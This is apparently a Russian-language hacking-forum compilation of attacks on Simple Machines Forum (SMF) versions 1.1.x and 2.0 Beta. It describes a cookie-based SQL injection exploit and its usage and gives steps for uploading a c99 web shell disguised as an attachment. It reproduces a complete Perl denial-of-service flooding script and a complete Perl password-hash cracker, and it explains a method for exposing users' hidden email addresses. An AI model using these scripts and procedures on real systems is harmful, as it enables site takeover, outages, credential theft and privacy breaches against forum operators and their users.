SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit http://www.simplemachines.org/ Уязвимость заключается в неопределенном параметре $topic. Атакующий может определить его значение и выполнить произвольный SQL-запрос в базу данных приложения. Дополнительную уязвимость содержат фильтры безопасности, пропускающие внедренный атакующим запрос, составленный особым образом. Требуется: 1) register_globals=ON 2) database prefix, default "smf_" 3) Mysql => 4.1 c0d3d by Elekt (www.antichat.ru), 13.12.2007 ::FAQ:: Q1: "[-] SMF unvulnerable" - что это значит? A1: Если версия форума действительно <=1.1.4, 2.0Beta2 , то скорее всего серверная настройка - register_globals=Off - не благоприятна Вам. Ничего сделать нельзя. Q2: "[-] MySQL < 4.1" - что это значит? A2: Версия базы данных ниже требуемой. На самом деле проблема скорее не в версии mysql, а в некорректном синтаксисе SQL-inj. Мне точно не известно, почему это происходит, потому что такой проблемы не должно быть. Это неизвестная мне особенность конкретно взятого сервера. Возможно, там стоит IDS или mod_security. Так или иначе - это плохо. Получение данных невозможно, однако остается вариант атаки на отказ в облуживании через benchmark(). Из соображений гуманности я не включил модуль доса форума в паблик эксплоит. Q3: "[-] Prefix is not correct" - что это значит? A3: Префикс таблиц форума отличен от стандартного. Необходим перебор его имени по словарю для mysql4. Возможно автоопределение префикса для mysql 5.х В паблик эксплоите функция не реализована. Q4: " Found error." A4: Найдена ошибка. 1) Может возникнуть при нестабильном коннекте вашего интернет подключения. Рекомендуется перезапустить эксплоит. 2) Также данная ошибка иногда возникает, если вы не указываете айди админа и доверяете эксплоиту определить его самостоятельно. Данный баг связан с различиями в структуре таблиц форума разных версий. Рекомендуется указывать айди админа ключом "-i". perl smf114expl.pl -h www.target.com -d / -i 1 информация предоставлена с целью ознакомления
SMForum audio Captcha Breaking Существует уязвимость из-за слабой реализации звуковой капчи. В этом движке звуковая капча реализуется посредством посылания браузеру звукового фала в формате WAV, файл создается путем склеивания произвольным образом нескольких файлов с разными звуками, и служит преградой от автоматической регистрации новых пользователей. разработчики включили рандомизацию выходящего WAV файла в скрипте /Sources/Subs-Sound.php но она явно недостаточна, и легко обходится перебором байтов по заданным шаблонам звуков Code: [blah@localhost smfh]$ ./captcha.pl http://localhost/smf/ nnrbv created in 1.41827201843262 seconds [andrey@localhost smfh]$ ./captcha.pl http://localhost/smf/ vpubu created in 1.49515509605408 seconds [andrey@localhost smfh]$ ./captcha.pl http://localhost/smf/ ntfhh created in 2.31928586959839 seconds [andrey@localhost smfh]$ ./captcha.pl http://localhost/smf/ egudz created in 0.823321104049683 seconds как видно перебор составляет всего одну - две секунды. Так же, существует возможность выполнения произвольного PHP кода при создании или редактировании сообщения форума.
SMF Upload Shell in Attachment В старых версиях SMF /attachments не закрыт через .htaccess (или если не настроен mod_rewrite апача) 1) Если шифрование имени файла отключено, то: берем шелл(я пользовался с99) и переиминовываем его в c99.php.zip (не ложим в архив,а просто переиминовываем) Теперь загружаем его как аттачмент в любом посте Шелл искать в: Code: http://[target]/[path]/attachments/c99.php.zip 2) Из админки. Идем в: Forum->Attachments and Avatars Добавляем php: Allowed attachment extensions: jpg,php Отключаем шифрование имени: Encrypt stored filenames: [ ] Далее аналогично 1) за исключением переименования.
smf 1.1.2-1.1.3 php injection Да, да это я про : в общем времени достаточно прошло чтобы все было уже пропатчено , так что выкладывается в паблик ) файлик Sources/Subs-Post.php PHP: // Make sure all tags are lowercase. $parts[$i] = preg_replace('~\[([/]?)(list|li|table|tr|td)([^\]]*)\]~e', '"[$1" . strtolower("$2") . "$3]"', $parts[$i]);
SMF 1.1.4 Search DOS Code: #!/usr/bin/perl use IO::Socket; print q{ .____ ________ .__ ________________ | | \_____ \__ __ ____ | | / _____/ __ \ | | _(__ < \/ // __ \| | ______ / __ \\____ / | |___ / \ /\ ___/| |__ /_____/ \ |__\ \ / / |_______ \/______ /\_/ \___ >____/ \_____ / /____/ \/ \/ \/ \/ _______ _______ _______ ______ _______ _______ ( ____ \( )( ____ \ ( __ \ ( ___ )( ____ \ | ( \/| () () || ( \/ | ( \ )| ( ) || ( \/ | (_____ | || || || (__ | | ) || | | || (_____ (_____ )| |(_)| || __) | | | || | | |(_____ ) ) || | | || ( | | ) || | | | ) | /\____) || ) ( || ) | (__/ )| (___) |/\____) | \_______)|/ \||/ (______/ (_______)\_______) /**********************************************************\ | SMF 1.1.4 Search DOS | | |Petros| | | www.fallen-empires.com | | www.l3vel-69.net | \**********************************************************/ }; $rand=rand(10); print "Forum Host: "; $serv = <stdin>; chop ($serv); print "Path To Search2: "; $path = <stdin>; chop ($path); print "Times To Search: "; $times = <stdin>; chop ($times); for ($i=0; $i<$times; $i++) { $quiry="l3vel69-".$rand.$i; $form = "search=1234567899876544321&submit=Search&advanced=0"; $len = length $form; $get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "Can't Connect Host, it may be ddos'ed already."; print $get1 "POST ".$path." HTTP/1.0\n"; print $get1 "Host: ".$serv."\n"; print $get1 "Content-Type: application/x-www-form-urlencoded\n"; print $get1 "Content-Length: ".$len."\n\n"; print $get1 $form; syswrite STDOUT, "69"; } print "Forum should be Dosed. Check it out...if not use a higher search\n";
SMF 1.1.5 Password Cracker Code: #!/usr/bin/perl # # Simple Machines Forum v1.1.4/v1.1.5 password hash cracker # not some hack tool you kid. # Quickly coded, feel free to improve # # Iron # http://www.randombase.com # or better: http://www.perlforums.org # use Digest::SHA1 'sha1_hex'; print " Simple Machines Forum v1.1.4/v1.1.5 password hash cracker by Iron - http://www.randombase.com / http://www.perlforums.org Menu.. 1. Numeric attack 2. Alphabetic attack or whatever 3. Mix 'em up Johnny 4. Dictionary attack < Choice > "; chomp($c=<stdin>); print "[+]Username of the target: "; chomp($u=lc(<stdin>)); print "[+]Password hash of the target: "; chomp($p=<stdin>); print "[+]Cracking... could take a while"; if($c eq '1') { numeric(); } elsif($c eq '2') { alpha(); } elsif($c eq '3') { mix(); } elsif($c eq '4') { dict(); } sub numeric { $i = 0; while(sha1_hex($u.$i) ne $p){$i++;} print "\n[+]Sweet! Found the password: ".$i; } sub alpha { for($i = "a";$i ne "zzzzzzz" && sha1_hex($u.$i) ne $p;$i++){} print "\n[+]Sweet! Found the password: ".$i; } sub mix { print "Not finished. Yet."; } sub dict # needs some cleaning to make it faster { print "\n[+]I'll need a dictionary though, care to give its filename? "; chomp($dict=<stdin>); open(d,"<".$dict); $found = 0; while(($line = <d>)) { chomp($line); if(sha1_hex($u.$line) eq $p) { print "[+]Sweet! Found the password: ".$line; $found = 1; next; } } if(!$found) { print "[-]Not sweet. I couldn't find the password in your dictionary."; } }
Узнаем мыло пользователя Smf (любая версия) через Rss Узнаем мыло пользователя SMF (любая версия) через RSS Вот нашел небольшой баг в SMF, позволяющий узнать мыльник юзера SMF. Например ты смотришь профайл какого-то юзера, и видишь: E-mail: скрытый. Так вот, ты можешь узнать его мыло! Для чего это надо? Это уже в ваших целях. Итак, начнем. Качаем любой браузер, который поддерживает чтение RSS новостей; я использую Opera. Переходим на наш форум, и видим в строке адреса: Нас интересует то, что возле стрелки. Это и есть подписка на новости. Т.е. если на форуме кто-то напишет сообщение, оно сразу же появиться в меню "Каналы новостей". После нажатия на значок RSS, ждем порядка 10 секунд, и видим: Жмем "Да". Видим, у нас появилась меню "Каналы новостей", кликаем по нему, выбираем название форума. Все, теперь осталось только ждать, когда кто-то напишет сообщение. Написал? - Можете радоваться. Видим это: Вот и все, ребята. Используйте мыло в своих целях. PS: Прошу строго не судить, так как эт мое первое творение.
Криптографическая атака на Smf Криптографическая атака на SMF Заслуживает внимания. _http://forum.antichat.ru/thread81052.html
Simple Machines Forum <= 1.1.5 Admin Reset Password Exploit (win32) Смена пароля любого пользователя в SMF <=1.1.5 Обнаружил уязвимость, которая позволяет сменить пароль любому пользователю форума, в том числе администратору, через систему восстановления пароля, не имея доступа к почтовому ящику атакуемого пользователя. Она возможна благодаря предсказуемости кода подтверждения для смены пароля, который генерируется с помощью функции rand(). Уязвимость актуальна, если веб-приложение установлено на платформе win32. http://milw0rm.com/exploits/6392
Simple Machines Forum (SMF) 1.1.6 Remote Code Execution Exploit Автор: Charles FOL Загрузка gzip-архива с валидным модулем SMF, содержащим шелл, через атачменты форума, а затем непреднамеренная установка этого модуля администратором с помощью CSRF-уязвимости (тэг )[/B] http://real.olympe-network.com/releases/19817